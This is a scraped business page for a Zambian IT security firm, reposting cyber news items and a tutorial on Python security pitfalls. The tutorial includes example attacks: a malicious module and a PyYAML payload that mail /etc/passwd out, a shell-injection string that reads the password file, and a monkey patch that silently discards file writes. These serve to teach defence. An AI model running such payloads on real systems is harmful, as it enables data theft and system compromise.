Cyber Intelligency Technology Agency

Cyber Intelligency Technology Agency To provide both the private and public sector with innovative & robust solutions that exploit The po

CYBER INTELLIGENCY TECHNOLOGY AGENCY IS

A ZAMBIAN INFORMATION COMMUNICATIONS AND TECHNOLOGY SYSTEMS PROVIDER, KNOWN FOR PROVIDING CLIENTS WITH ENTERPRISE WORLD-CLASS SOLUTIONS ADDRESSING THEIR LOCAL IT BUSINESS NEEDS. CITA OFFERS STATE-OF THE- ART TECHNOLOGIES WHICH INCLUDES:
24/7 DIGITAL SECURITY MONITORING SYSTEMS I.E. MOBILE TRACKING SYSTEMS AND REAL TIME CCTV MONITORING SERVICES, CCTV INST

ALLATIONS AND CONFIGURATIONS, COMPUTER SOFTWARE AND HARDWARE INSTALLATIONS AND MAINTENANCE, PORTALS & ENTERPRISE CONTENT MANAGEMENT SOLUTIONS, ARCHIVING, DOCUMENT MANAGEMENT & WORKFLOW AUTOMATION SOLUTIONS, HOSPITALS INFORMATION SOLUTIONS, ERP, WEB DESIGN, E-COMMERCE, CUSTOMER RELATIONSHIP MANAGEMENT AND TRAINING SERVICES. AS THE MARKET EVOLVED AND AS WE MOVE WITH SYSTEM DEVELOPMENT, CITA RE-POSITIONED ITS PORTFOLIO OFFERINGS AND RE-STRUCTURED THE ORGANIZATION TO FOCUS ON DIGITAL SECURITY AND DIGITAL EVIDENCE, NETWORK SECURITY AND APPLICATION SOLUTIONS. ON 13TH MARCH,2015 IT BEGAN TO OFFER IMPLEMENTATION AND CONSULTATION SERVICES FOR INFORMATION MANAGEMENT SYSTEMS, SURVEILLANCE AND DIGITAL SECURITY SYSTEMS, MOBILE TRUCKING SYSTEMS, DOCUMENT MANAGEMENT AND ARCHIVING SOLUTIONS, CRM AND HOSPITALS MANAGEMENT INFORMATION SOLUTIONS (HMIS), ON-LINE WEB SERVICES, ECMS; PHARMACY SOLUTIONS, POINT OF SALES SOLUTIONS, DEMONSTRATING REAL ADDED VALUE TO CUSTOMERS. WITH ITS GROWING FOCUS ON IMPLEMENTING DIGITAL SECURITY SOLUTIONS CITA HAS BUILT A DEDICATED TEAM OF HIGHLY SKILLED PROFESSIONALS AND A SET OF OPERATIONAL COMPETENCIES THAT FORM THE UNDERPINNINGS OF ITS COMPETITIVE ADVANTAGE. TODAY, CITA IS THE PREFERRED LOCAL SYSTEMS INTEGRATOR AND APPLICATION SOLUTIONS PROVIDER FOR MARKET SECTORS SUCH AS: GOVERNMENT, SEMI GOVERNMENT, LOCAL GOVERNMENT, NON-GOVERNMENTAL ORGANIZATIONS (NGOS), EDUCATIONAL, COMMERCIAL, BANKING & REAL ESTATE.

25/08/2021

Microsoft says the culprit is Nobelium, the state-sponsored hacking group behind last year's SolarWinds supply-chain attack.

09/08/2018

AP Images

Twitter's Jack Dorsey made a brief appearance on the Sean Hannity Show on Wednesday.

The Twitter CEO called in to Hannity's radio show in the wake of recent accusations of shadow banning right-wing users, and after facing criticism for choosing to allow Alex Jones to remain on the platform, after tech giants like Facebook, Youtube, and Apple removed Jones from their services.

"We do not shadow ban according to political ideology, or viewpoint, or content" Dorsey said on the call with Hannity, reiterating much of what he's publicly said in the past on the topic.

After some prominent Republicans weren't showing up in Twitter's drop-down search results, many were quick to accuse Twitter of 'shadow banning,' even President Trump. Twitter explained this as an error , and said the accounts weren't purposefully left out of search results and had always been available, even during the time when the bug was active.

Dorsey also spoke about Twitter's process of deciding whether to suspend specific users, but didn't stray far from the company's previous talking points.

"We have to really understand what the context of the conversation is," Dorsey said. "Some cultural contexts enable some speech that other cultural contexts don't," and added that algorithms and humans both have trouble always getting those contexts right.

On Tuesday, Dorsey took to Twitter to explain the company's decision to let Alex Jones stay .

Listen to Dorsey's full conversation with Hannity here .

05/08/2017

To provide both the private and public sector with innovative & robust solutions that exploit The po

06/10/2016

It seems that the tension between the two nuclear power, India and Pakistan is not going to end in the near future.

After the surgical strikes by Indian Army on 29 September, a Pakistani group of hackers has claimed that they have hacked nearly 7000 Indian websites in just a week.

They have claimed that this attack was an act of "revenge" against the Indian Army, and has released the names of the website on Tuesday.

According to the cyber security experts, the hackers are quite immature and didn't write the codes their own instead they used the existing codes to hack into websites.

On 3 October, hackers hacked the National Green Tribunal's website, and claimed it was an act of "revenge", as reported by PTI.,

"We are Unbeatable. You... kill innocent people in Kashmir and call your self-defenders of your country. You...violate the ceasefire on a border and call it 'Surgical Strikes'. Now kiss the burn of Cyber War," the hackers said.

Each and every website hacked had a message or slogan on them.

Legal head of Global Cyber Security Response Team, Mirza Faizan Asad says that "I've seen their post. They are not even proper hackers. They are what we call script kiddies, people who use existing computer scripts to hack into computers as they lack the expertise to write their own."

Aravind Prakash, associate professor at Binghamton University, US, said, "There is always a school of thought that will argue, 'why can't we buy software'? But one must understand that you cannot trust these companies that we buy from to provide a vulnerability-free software or system. Intrusion or hacking happens when there are vulnerabilities."

05/10/2016

Kaspersky Lab researchers have found a new Android Trojan, Guerilla that behaves like a human to get past protections on the Google Play Store.

After landing on the Google Play, a malicious application gains access to a wide audience gains the trust of that audience and experiences a degree of leniency from the security systems built into operating systems. On mobile where users cannot install applications from any other source other than the official store, this Trojan lands as an app after passing a rigorous check for anti-Fraud protection mechanisms.

Guerilla, which downloads and installs apps and leaves fake comments and ratings on the store, uses a rogue client application to fool Google's anti-fraud technologies. This fake app allows attackers to conduct shady advertisement campaigns using infected devices to download, install, rate and comment on the mobile applications published on Google Play.

The malware capable of only abusing Google Play mechanisms from rooted devices aims to boost legitimate apps by increasing their download rates and posting positive reviews on Google Play.

Lately, many Trojans have been seen using the Google Play app during promotion campaigns to download, install and launch apps on smartphones without the owners’ knowledge, as well as leave comments and rate apps. The apps installed do not cause direct damage but the victim may have to pay for excessive traffic. In addition, the Trojans may download and install paid apps as if they were free ones, adding to the users’ bills.

There are a number of ways of manipulating Google Play:

1. Amateur

The first method involves using Trojan to launch the client, open the page of the required app in it, then search for and use the special code to interact with the interface elements (buttons) to cause download, installation and launch of the application.

In this process, operating system’s accessibility services are used which is followed by an imitation of user input and then a code is injected into the process of Google Play client to modify its operation.

2. Expert

Some malware writers create their own client for the app store using HTTPS API but this process requires user credentials and authentication tokens which are not available to a regular app but the cybercriminals extract this information from the data stored on the device in clear text in SQLite format.

For example, client downloads and installs free and paid apps of Guerilla and rates and comments for the app in Play store, then the Trojan starts to collect information like credentials to the user’s Google Play account, Android id, Google service framework ID, Google advertising ID and hashed data about the device. The Trojan downloads the application by sending POST requests.

The Trojans that use the Google Play app to download, install and launch apps from the store are distributed by rooters due to which they launch attacks on the Google Play client app.

This type of malicious program poses a serious threat as rooters download malicious programs that compromise the android ecosystem and spend user’s money on paid apps and download other malware as well.

03/10/2016

A Russian hacking group has released new malicious software to infect computers running on Apple OSX, told cyber security researchers at Palo Alto Networks.

The cyber espionage group suspected to have intelligence links with Russian agency, GRU is believed to be the same that had allegedly struck the Democratic National Committee (DNC) and the World Anti-Doping Agency. The group was dubbed as Sofacy Group by California-based experts and over the years has received many titles by analysts like ‘Fancy Bears’, ‘APT28’ and ‘Pawn Storm’.

The Trojan out is known as ‘Komplex’ which does not exploit an Apple security flaw but instead takes hold via extremely targeted spear phishing tactics. It pretends to be a 17-page PDF document describing future projects of the Roscomos State Space Corporation, Russia's space agency between 2016 and 2025. The malware is designed to steal information from a compromised system and send it to a remote server.

After the victim opens the link to the PDF, the file downloads additional files to infect the machine, executing and deleting files and interacting with the system shell.

The researchers noted a number of coding overlaps including similarities with an OSX Trojan in Komplex.

It doesn't appear that Komplex was signed with a developer's digital certificate from Apple. Although anyone can obtain those certificates but including them makes an application more legitimate on the surface.

Earlier when the group had attacked DNC had leaked more than 19,000 internal e-mails which caused turmoil in the party after the correspondence showed party officials favored Hillary Clinton for the Democratic presidential nomination. The hacking group is also believed to have hacked WADA, releasing documents that called into question drug exemptions granted to top athletes for the Rio Olympics.

The US government is still investigating if Russian government is behind the hacks and other suspicious activities which is why it has not blamed it directly. However, in the first presidential debate, Clinton directly accused Russian President, Vladimir Putin of ordering the attacks.

White House staffer's email is hacked revealing Joe Biden and Hillary Clinton's private schedules, Secret Service plans,...
23/09/2016

White House staffer's email is hacked revealing Joe Biden and Hillary Clinton's private schedules, Secret Service plans, and even Michelle Obama's PASSPORT
DC Leaks released the email of a White House staffer, revealing what they claim to be Michelle Obama's passport
The private schedules of Hillary Clinton, Michelle Obama and Joe Biden are also revealed in the emails
An email from Arielle Medina, Clinton's travel coordinator, also reveals how much those who are working on the campaign are getting paid
Team members get $150 a day, must share rooms and have to take public transportation to the airport for flights between 7am and 10pm

Read more: http://www.dailymail.co.uk/news/article-3802108/White-House-staffer-s-email-hacked-revealing-Secret-Service-plans-Joe-Biden-s-private-schedule-Michelle-Obama-s-PASSPORT.html

/
The email of a White House staff member has been hacked by DC Leaks, revealing what the group claims is Michelle Obama's passport.
In addition to the staffer's correspondence with other White House workers, the emails also reveal detailed schedules for members of the Secret Service, the First Lady and Vice President Joe Biden.
The young staffer also appears to be heavily involved in organizing events for Hillary Clinton.
White House press secretary said of the situation on Thursday: 'We take any reports about a cyber breach seriously, particularly if it contains some sensitive information.
'Certainly, this is something we are taking a close look at.'
Scroll down for video
Leak: DC Leaks released the email of a White House staffer, revealing what they claim to be Michelle Obama's passport (above)
Leak: DC Leaks released the email of a White House staffer, revealing what they claim to be Michelle Obama's passport (above)

Read more: http://www.dailymail.co.uk/news/article-3802108/White-House-staffer-s-email-hacked-revealing-Secret-Service-plans-Joe-Biden-s-private-schedule-Michelle-Obama-s-PASSPORT.html
Follow us: on Twitter | DailyMail on Facebook

///
DC Leaks said in an email: 'The leaked files show the security level of our government. If terrorists hack emails of White House Office staff and get such sensitive information we will see the fall of our country.'
The hack also revealed a Power Point detailing the recent trip of Vice President Joe Biden to the Intercontinental Hotel in Cleveland on June 26 of this year.
The detailed report includes how many stairs Biden will be walking up as he arrives at the hotel loading dock and makes his way up to the second floor of the facility.
It also features an photo image of Biden waving as he travels from the loading dock and up the stairs, laying out all the rooms and who he will be expected to meet and speak with at the event.

Read more: http://www.dailymail.co.uk/news/article-3802108/White-House-staffer-s-email-hacked-revealing-Secret-Service-plans-Joe-Biden-s-private-schedule-Michelle-Obama-s-PASSPORT.html ...

The First Lady gets the same treatment for a Let's Move event being held in Waynesboro, Georgia.
And even a Hillary Clinton event held in May of this year in Houston is detailed, from who will be meeting the Democratic hopeful to, once again, the number of steps she will walk up and down.
There are also detailed documents detailing the movements for Clinton and those with her on a number of campaign events, from who will be riding in which car and their phone numbers to the manifest on her private plane as it travels around the country.
Most of those listed are members of the advance team for Hillary for America, along with Clinton aide Connolly Keigher and Clinton senior policy adviser Maya Harris.

Read more: http://www.dailymail.co.uk/news/article-3802108/White-House-staffer-s-email-hacked-revealing-Secret-Service-plans-Joe-Biden-s-private-schedule-Michelle-Obama-s-PASSPORT.html

///

There is also personal correspondences between the staffers and friends, as well as notes to professors, like one in April of 2015 in which he informs one of his teachers that he will be late for class due to a last second obligation he has as part of the advance team for the First Lady.
'I am very sorry about the last minute nature of this email. I am on the advance team for Mrs Obama, and they bumped up our meetings today on site in VA (they were supposed to be tonight!) I hate missing class more than anything else, I hopefully should be back I DC by 430, and I will sprint to the lab,' writes the staffer.
An email from Arielle Medina, Clinton's travel coordinator, also reveals how much those who are working on the campaign are getting paid.
'You will receive a day rate for full work days and 1/2 of that rate for travel-only days. The rate for leads is $150 ($75 for travel-only); the rate for press leads, site leads and RONs is $110 ($55 for travel-only); the rate for credentials, S2/P2s, and motorcade is $75 ($37.50for travel-only),' reads the email to the staffer and others on the team.
The email also reminds everyone that receipts must be saved if they want to be reimbursed and that public transportation must be taken to airport for flights between the hours of 7:00am and 10:00pm.
All team members must also share hotel rooms.
The messages were all taken from the staffers GMail account starting back in 2015, while the individual was still in college, through this past July.
DC Leaks is the same group that earlier this month hacked into the email account of former Secretary of State Colin Powell, releasing his private information.
Those emails revealed Powell's disdain for Trump and his at times reluctance to support Clinton in the upcoming election.

Read more: http://www.dailymail.co.uk/news/article-3802108/White-House-staffer-s-email-hacked-revealing-Secret-Service-plans-Joe-Biden-s-private-schedule-Michelle-Obama-s-PASSPORT.html

The email of a White House staff member has been hacked by DC Leaks, revealing what the group claims is Michelle Obama's passport as well as schedules for members of Secret Service.

23/09/2016

German officials said on Wednesday (September 21) that hackers infiltrated the computer systems of several political parties which have raised fears of foreign interference ahead of country’s general elections scheduled next year.

Politicians and employees of several parties reportedly received emails purporting to be sent from North Atlantic Treaty Organization (NATO) headquarters but they contained a link which installed spyware on the recipient's computer. The email had foreign links had the evidence showed that a Russian hacker group, APT28 carried out the attack.

Investigators have tied APT28 to cyber attacks last year on a French-language TV broadcaster and the German lower house of parliament, which forced the legislature to shut down its computer system for several days.

The incident comes after Berlin's domestic spy agency accused Russia of a series of operations aimed at spying and sabotage. German media also accused state-backed Russian hackers of August 15 and 24 attacks.

A document circulated by Germany's Federal Office for Information Security (BSI), seen by AFP on Wednesday had warned lawmakers of the attacks as they had seen previous instances of cyber attacks which hit US Democrats this year. Hillary Clinton's presidential campaign has also blamed Russia for the intrusion that resulted in an embarrassing leak of emails in July.

A spokesman for the Russian Embassy in Berlin rejected the German officials’ accusations, describing them as lacking evidence.

BSI has growing fears that the hackers could leak confidential party information in a bid to influence public opinion.

Unlike last year, this attack has targeted wider party operations such as the regional network of Chancellor Angela Merkel’s the Christian Democratic Union or the federal offices of the Left party and several dozen members of the lower house of parliament, the Bundestag.

The German government’s information security specialists have urged political parties to increase their cyber defenses.

12/09/2016

Israeli law enforcement has arrested Yarden Bidani and Itay Huri as part of an FBI investigation into their alleged control of vDOS, one of the most popular paid attack platforms. The two 18-year-old teens raked in at least $618,000 running a massive cybercrime operation in recent years. The platform itself is also offline, although that's due to one of vDOS' victims (BackConnect Security). vDOS is a web service that helps customers carry out so-called distributed denial-of-service attacks (DDoS) for the purpose of knocking websites offline. Such DDoS attacks work by flooding the targeted website from multiple computers until it crashes. It’s as if millions of callers tried to dial the same phone number simultaneously.

The duo were arrested on September 08, around the same time when U.S. cybercrime investigator Brian Krebs, a former Washington Post staffer and among the best-known writers on data security in the world published a story on KrebsOnSecurity naming them as the masterminds behind a service that can be hired to knock Web sites and Internet users offline with powerful blasts of junk data.

Bidani and Huri did not cover their tracks carefully. The pair hosted vDOS on a server connected to Huri, and its email and SMS notifications pointed to the two. They even wrote a technical paper on DDoS attacks, while Bidani's old page references the AppleJ4ck pseudonym he used to conduct vDOS business. And if that weren't enough, vDOS refused to target any Israeli site since it was the owner's "home country."

The two men’s identities were exposed because vDOS got massively hacked, spilling secrets about tens of thousands of paying customers and their targets. A copy of that database was obtained by KrebsOnSecurity.

Both suspects were questioned and released on bail on September 09 on the equivalent of about USD $10,000 bond each with some conditions. Officials have placed them under house arrest for 10 days, seized their passports and barred them from using any internet or telecom devices for 30 days. It's unclear if they face extradition to the US.

The bust isn't going to stop paid denial of service attacks. However, it may put a temporary dent in the volume of those attacks -- and it'll certainly spook vDOS competitors who've been careless about hiding their activities.

09/09/2016

A bite of Python

Ilya Etingof published on Wednesday at 1:30 PM, last updated Wednesday at 1:47 PM
Being easy to pick up and progress quickly towards developing larger and more complicated applications, Python is becoming increasingly ubiquitous in computing environments. Though apparent language clarity and friendliness could lull the vigilance of software engineers and system administrators -- luring them into coding mistakes that may have serious security implications. In this article, which primarily targets people who are new to Python, a handful of security-related quirks are looked at; experienced developers may well be aware of the peculiarities that follow.

Input function

In a large collection of Python 2 built-in functions, input is a total security disaster. Once called, whatever is read from stdin gets immediately evaluated as Python code:

$ python2
>>> input()
dir()
['__builtins__', '__doc__', '__name__', '__package__']
>>> input()
__import__('sys').exit()
$
Clearly, the input function must never ever be used unless data on a script's stdin is fully trusted. Python 2 documentation suggests raw_input as a safe alternative. In Python 3 the input function becomes equivalent to raw_input, thus fixing this weakness once and forever.

Assert statement

There is a coding idiom of using assert statements for catching next to impossible conditions in a Python application.

def verify_credentials(username, password):
assert username and password, 'Credentials not supplied by caller'

... authenticate possibly null user with null password ...
However, Python does not produce any instructions for assert statements when compiling source code into optimized byte code (e.g. python -O). That silently removes whatever protection against malformed data that the programmer wired into their code leaving the application open to attacks.

The root cause of this weakness is that the assert mechanism is designed purely for testing purposes, as is done in C++. Programmers must use other means for ensuring data consistency.

Reusable integers

Everything is an object in Python. Every object has a unique identity which can be read by the id function. To figure out if two variables or attributes are pointing to the same object the is operator can be used. Integers are objects so the is operation is indeed defined for them:

>>> 999+1 is 1000
False
If the outcome of the above operation looks surprising, keep in mind that the is operator works with identities of two objects -- it does not compare their numerical, or any other, values. However:

>>> 1+1 is 2
True
The explanation for this behavior is that Python maintains a pool of objects representing the first few hundred integers and reuses them to save on memory and object creation. To make it even more confusing, the definition of what "small integer" is differs across Python versions.

A mitigation here is to never use the is operator for value comparison. The is operator is designed to deal exclusively with object identities.

Floats comparison

Working with floating point numbers may get complicated due to inherently limited precision and differences stemming from decimal versus binary fraction representation. One common cause of confusion is that float comparison may sometimes yield unexpected result. Here's a famous example:

>>> 2.2 * 3.0 == 3.3 * 2.0
False
The cause of the above phenomena is indeed a rounding error:

>>> (2.2 * 3.0).hex()
'0x1.a666666666667p+2'
>>> (3.3 * 2.0).hex()
'0x1.a666666666666p+2'
Another interesting observation is related to the Python float type which supports the notion of infinity. One could reason that everything is smaller than infinity:

>>> 10**1000000 > float('infinity')
False
However, up to Python 3, a type object beats the infinity:

>>> float > float('infinity')
True
The best mitigation is to stick to integer arithmetic whenever possible. The next best approach would be to use the decimal stdlib module which attempts to shield users from annoying details and dangerous flaws.

Generally, when important decisions are made based on the outcome of arithmetic operations, care must be taken not to fall victim to a rounding error. See the issued and limitations chapter in Python documentation.

Private attributes

Python does not support object attributes hiding. But there is a workaround based on the feature of double underscored attributes mangling. Although changes to attribute names occur only to code, attributes names hardcoded into string constants remain unmodified. This may lead to confusing behavior when a double underscored attribute visibly "hides" from getattr()/hasattr() functions.

>>> class X(object):
... def __init__(self):
... self.__private = 1
... def get_private(self):
... return self.__private
... def has_private(self):
... return hasattr(self, '__private')
...
>>> x = X()
>>>
>>> x.has_private()
False
>>> x.get_private()
1
For this privacy feature to work, attribute mangling is not performed on attributes out of class definition. That effectively "splits" any given double underscored attributive onto two depending on from where it is being referenced:

>>> class X(object):
... def __init__(self):
... self.__private = 1
>>>
>>> x = X()
>>>
>>> x.__private
Traceback
...
AttributeError: 'X' object has no attribute '__private'
>>>
>>> x.__private = 2
>>> x.__private
2
>>> hasattr(x, '__private')
True
These quirks could turn into a security weakness if a programmer relies on double underscored attributes for making important decisions in their code without paying attention to the asymmetrical behavior of private attributes.

Module injection

Python modules importing system is powerful and complicated. Modules and packages can be imported by file or directory name found in search path as defined by sys.path list. Search path initialization is an intricate process which is also dependent on Python version, platform and local configuration. To mount successful attack on a Python application, an attacker needs to find a way to smuggle a malicious Python module into a directory or importable package file which Python would consider when trying to import a module.

The mitigation is to maintain secure access permissions on all directories and package files in search path to ensure unprivileged users do not have write access to them. Keep in mind that the directory where the initial script invoking Python interpreter resides is automatically inserted into the search path.

Running script like this reveals actual search path:

$ cat myapp.py
#!/usr/bin/python

import sys
import pprint

pprint.pprint(sys.path)
On Windows platform, instead of script location, current working directory of the Python process is injected into the search path. On UNIX platforms, current working directory is automatically inserted into sys.path whenever program code is read from stdin or command line ("-" or "-c" or "-m" options):

$ echo "import sys, pprint; pprint.pprint(sys.path)" | python -
['',
'/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
'/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
...]
$ python -c 'import sys, pprint; pprint.pprint(sys.path)'
['',
'/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
'/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
...]
$
$ cd /tmp
$ python -m myapp
['',
'/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
'/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
...]
To mitigate the risk of module injection from current working directory explicitly changing directory to a safe one is recommended prior to running Python on Windows or passing code through command line.

Another possible source for the search path is the contents of the $PYTHONPATH environment variable. An easy mitigation against sys.path population from process environment is the -E option to Python interpreter which makes it ignoring $PYTHONPATH variable.

Code ex*****on on import

It may not look obvious that the import statement actually leads to ex*****on of the code in the module being imported. That is why even importing mistrustful module or package is risky. Importing simple module like this may lead to unpleasant consequences:

$ cat malicious.py
import os
import sys

os.system('cat /etc/passwd | mail [email protected]')

del sys.modules['malicious'] # pretend it's not imported
$ python
>>> import malicious
>>> dir(malicious)
Traceback (most recent call last):
NameError: name 'malicious' is not defined
Combined with sys.path entry injection attack, it may pave the way to further system exploitation.

Monkey patching

A process of changing Python objects attributes at run-time is known as monkey patching. Being a dynamic language, Python fully supports run-time program introspection and code mutation. Once a malicious module gets imported one way or another, any existing mutable object could be insensibly monkey patched without programmer's consent. Consider this:

$ cat nowrite.py
import builtins

def malicious_open(*args, **kwargs):
if len(args) > 1 and args[1] == 'w':
args = ('/dev/null',) + args[1:]
return original_open(*args, **kwargs)

original_open, builtins.open = builtins.open, malicious_open
If the code above gets executed by Python interpreter, everything written into files won't be stored on the filesystem:

>>> import nowrite
>>> open('data.txt', 'w').write('data to store')
5
>>> open('data.txt', 'r')
Traceback (most recent call last):
...
FileNotFoundError: [Errno 2] No such file or directory: 'data.txt'
Attacker could leverage Python garbage collector (gc.get_objects()) to get hold of all objects in existence and hack any of them.

In Python 2 built-in objects can be accesses via the magic __builtins__ module. One of the known tricks, exploiting __builtins__ mutability, that might bring the world to its end is:

>>> __builtins__.False, __builtins__.True = True, False
>>> True
False
>>> int(True)
0
In Python 3 assignments to True and False won't work so they can't be manipulated that way.

Functions are first-class objects in Python, they maintain references to many properties of a function. In particular, executable byte code is referenced by the __code__ attribute which, of course, can be modified:

>>> import shutil
>>>
>>> shutil.copy

>>> shutil.copy.__code__ = (lambda src, dst: dst).__code__
>>>
>>> shutil.copy('my_file.txt', '/tmp')
'/tmp'
>>> shutil.copy

>>>
Once the above monkey patch is applied, despite shutil.copy function still looking sane, it silently stopped working due to the no-op lambda function code set to it.

Type of Python object is determined by the __class__ attribute. Evil attacker could hopelessly mess up things by resorting to changing type of live objects:

>>> class X(object): pass
...
>>> class Y(object): pass
...
>>> x_obj = X()
>>> x_obj

>>> isinstance(x_obj, X)
True
>>> x_obj.__class__ = Y
>>> x_obj

>>> isinstance(x_obj, X)
False
>>> isinstance(x_obj, Y)
True
>>>
The only mitigation against malicious monkey patching is to ensure the authenticity and integrity of the Python modules being imported.

Shell injection via subprocess

Being known as a glue language, it is quite common for a Python script to delegate system administration tasks to other programs by asking the operating system to execute them, possibly providing additional parameters. The subprocess module offers easy to use and quite high-level service for such tasks.

>>> from subprocess import call
>>>
>>> unvalidated_input = '/bin/true'
>>> call(unvalidated_input)
0
But there is a catch! To make use of UNIX shell services, like command line parameters expansion, the shell keyword argument to the call function should be turned into True. Then the first argument to call function is passed as-is to the system shell for further parsing and interpretation. Once unvalidated user input reaches the call function (or other functions implemented in the subprocess module), a hole is opened to the underlying system resources.

>>> from subprocess import call
>>>
>>> unvalidated_input = '/bin/true'
>>> unvalidated_input += '; cut -d: -f1 /etc/passwd'
>>> call(unvalidated_input, shell=True)
root
bin
daemon
adm
lp
0
It is obviously much safer not to invoke UNIX shell for external command ex*****on by leaving the shell keyword in its default False state and supplying a vector of command and its parameters to the subprocess functions. In this second invocation form, neither command nor its parameters are interpreted or expanded by shell.

>>> from subprocess import call
>>>
>>> call(['/bin/ls', '/tmp'])
If the nature of the application dictates the use of UNIX shell services, it is utterly important to sanitize everything that goes to subprocess making sure that no unwanted shell functionality can be exploited by malicious users. In newer Python versions, shell escaping can be done with the standard library's shlex.quote function.

Temporary files

While vulnerabilities based on improper use of temporary files strike many programming languages, they are still surprisingly common in Python scripts so it's probably worth mentioning here.

Vulnerabilities of this kind leverage insecure file system access permissions, possibly involving intermediate steps, ultimately leading to data confidentiality or integrity issues. Detailed description of the problem in general can be found in CWE-377.

Luckily, Python is shipped with the tempfile module in its standard library which offers high-level functions for creating temporary file names "in the most secure manner possible". Beware the flawed tempfile.mktemp implementation which is still present in the library for backward compatibility reasons. The tempfile.mktemp function must never be used! Instead, use tempfile.TemporaryFile, or tempfile.mkstemp if you need the temporary file to persist after it is closed.

Another possibility of accidentally introducing a weakness is through the use of shutil.copyfile function. The problem here is that destination file is created in the most insecure manner possible.

Security-savvy developer may consider first copying the source file into a random temporary file name, then renaming the temporary file to its final name. While this may look like a good plan, it can be rendered insecure by the shutil.move function if it is used for performing the renaming. Trouble is that if the temporary file is created on a file system other than the one where the final file is to reside, shutil.move will fail to move it atomically (via os.rename) and silently resort to the insecure shutil.copy. A mitigation would be to prefer os.rename over shutil.move as os.rename is guaranteed to fail explicitly on operations across file system boundaries.

Further complications may arise from the inability of shutil.copy to copy all file meta data potentially leaving the created file unprotected.

Not exclusively specific to Python, care must be taken when modifying files on file systems of non-mainstream types, especially remote ones. Data consistency guarantees tend to differ in the area of file access serialization. As an example, NFSv2 does not honour the O_EXCL flag to the open system call, which is crucial for atomic file creation.

Insecure deserialization

Many data serialization techniques exist, among them Pickle is designed specifically to de/serialize Python objects. Its goal is to dump live Python objects into an octet stream for storage or transmission, then reconstruct them back to possibly another instance of Python. The reconstruction step is inherently risky if serialized data is tampered with. The insecurity of Pickle is well recognized and clearly noted in Python documentation.

Being a popular configuration file format, YAML is not necessarily perceived as a powerful serialization protocol capable of tricking a deserializer into executing arbitrary code. What makes it even more dangerous is that the de facto default YAML implementation for Python - PyYAML makes deserialization look very innocent:

>>> import yaml
>>>
>>> dangerous_input = """
... some_option: !!python/object/apply:subprocess.call
... args: [cat /etc/passwd | mail [email protected]]
... kwds: {shell: true}
... """
>>> yaml.load(dangerous_input)
{'some_option': 0}..while /etc/passwd is being stolen. A suggested fix is to always use yaml.safe_load for handling YAML serialization you can't trust. Still, the current PyYAML default feels somewhat provoking considering other serialization libraries tend to use dump/load function names for similar purposes, but in a safe manner.

Templating engines

Web application authors adopted Python long ago. Over the course of a decade, quite a number of Web frameworks have been developed. Many of them utilize templating engines for generating dynamic web contents from, well, templates and runtime variables. Aside from web applications, templating engines found their way into completely different software such as the Ansible IT automation tool.

When content is being rendered from static templates and runtime variables, there is a risk of user-controlled code injection through runtime variables. A successfully mounted attack against a web application may lead to a cross-site scripting vulnerability. Usual mitigation for server-side template injection is to sanitize the contents of template variables before it interpolates into the final document. The sanitization can be done by denying, stripping off or escaping characters that are special to any given markup or other domain-specific language.

Unfortunately, templating engines do not seem to lean towards tighter security here -- looking at the most popular implementations, neither of them apply escaping mechanism by default, relying on a developer's awareness of the risks.

For example, Jinja2, which is probably one of the most popular tools, renders everything:

>>> from jinja2 import Environment
>>>
>>> template = Environment().from_string('')
>>> template.render(variable='do_evil()')
'do_evil()'..unless one of many possible escaping mechanisms is explicitly engaged by reversing its default settings:

>>> from jinja2 import Environment
>>>
>>> template = Environment(autoescape=True).from_string('')
>>> template.render(variable='do_evil()')
'<script>do_evil()</script>'
An additional complication is that, in certain use-cases, programmers do not want to sanitize all template variables, intentionally leaving some of them holding potentially dangerous content intact. Templating engines address that need by introducing "filters" to let programmers explicitly sanitize the contents of individual variables. Jinja2 also offers a possibility of toggling the escaping default on a per-template basis.

It can get even more fragile and complicated if developers choose to escape only a subset of markup language tags letting others legitimately sneaking into the final document.

Conclusion

This blog post is not meant to be a comprehensive list of all potential traps and shortcomings specific to the Python ecosystem. The goal is to raise awareness of security risks that may come into being once one starts coding in Python, hopefully making programming more enjoyable, and our lives more secure.

Address

OFFICE No:26 BROADWAY
Livingstone
10101

Alerts

Be the first to know and let us send you an email when Cyber Intelligency Technology Agency posts news and promotions. Your email address will not be used for any other purpose, and you can unsubscribe at any time.

Contact The Business

Send a message to Cyber Intelligency Technology Agency:

Share